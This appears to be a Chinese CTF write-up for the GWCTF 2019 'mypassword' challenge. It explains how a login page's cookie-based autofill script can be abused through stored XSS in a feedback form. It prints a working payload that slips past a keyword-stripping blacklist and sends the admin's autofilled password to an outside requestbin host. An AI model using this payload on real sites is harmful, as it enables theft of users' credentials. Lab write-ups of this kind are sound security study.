ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[GWCTF 2019]mypassword 利用网站本身的js和留言功能进行xss&http://http.requestbin.buuoj.cn网站的使用

2022-07-26 00:34:03  阅读:189  来源: 互联网

标签:xss password http 网站 value cookie var document


一般限制已经登录的用户再重新登录,都会在login.php页面session_start(),判断session数组中特定的值是否存在,如果存在,就header(Location:)进行跳转,但这个login.php页面不同。

他是在login.php页面在前端用<script src="./js/login.js"></script>,调用了一个js文件(可在火狐浏览器调试器->主线程出找到),内容如下:

if (document.cookie && document.cookie != '') {
    var cookies = document.cookie.split('; ');
    var cookie = {};
    for (var i = 0; i < cookies.length; i++) {
        var arr = cookies[i].split('=');
        var key = arr[0];
        cookie[key] = arr[1];
    }
    if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
        document.getElementsByName("username")[0].value = cookie['user'];
        document.getElementsByName("password")[0].value = cookie['psw'];
    }
}

原理是用户只要登陆了,cookie里就有cookie['username']和cookie['password'],然后用javascript的语法

document.getElementsByName("username")[0].value = cookie['user'];

document.getElementsByName("password")[0].value = cookie['psw'];

 

 来自动填充表单数据。

但是后端肯定还是用了header跳转,因为虽然填了表单,但没自动发送

但是,这却非常适合xss

只要我们写留言,就按前端代码的格式写,用户查看留言的时候留言的代码会嵌入到前端代码里执行。

留言的内容大概是两个<input>标签,分别是username和password,然后<script src=./js/login.js></script>

因为管理员查看的时候肯定是有cookie的,就会填充到两个input,然后用javasript的代码获取<input>的value,再用javascript代码

document.location="http://http.requestbin.buuoj.cn/xxxxxx/?a="+pwd;

 

 发送到平台上(http.requestbin.buuoj.cn可以看向它请求的http包)

具体留言内容:(feedback.php页面前端注释给出了黑名单数组,黑名单里的字符串会被替换为空,这里是利用黑名单会被替换为空就行绕过,如incookieput)

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var pwd = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/xxx/?a="+pwd;
</scrcookieipt>

 

在平台上查看http报文获取flag

 

标签:xss,password,http,网站,value,cookie,var,document
来源: https://www.cnblogs.com/hackerone/p/16519348.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有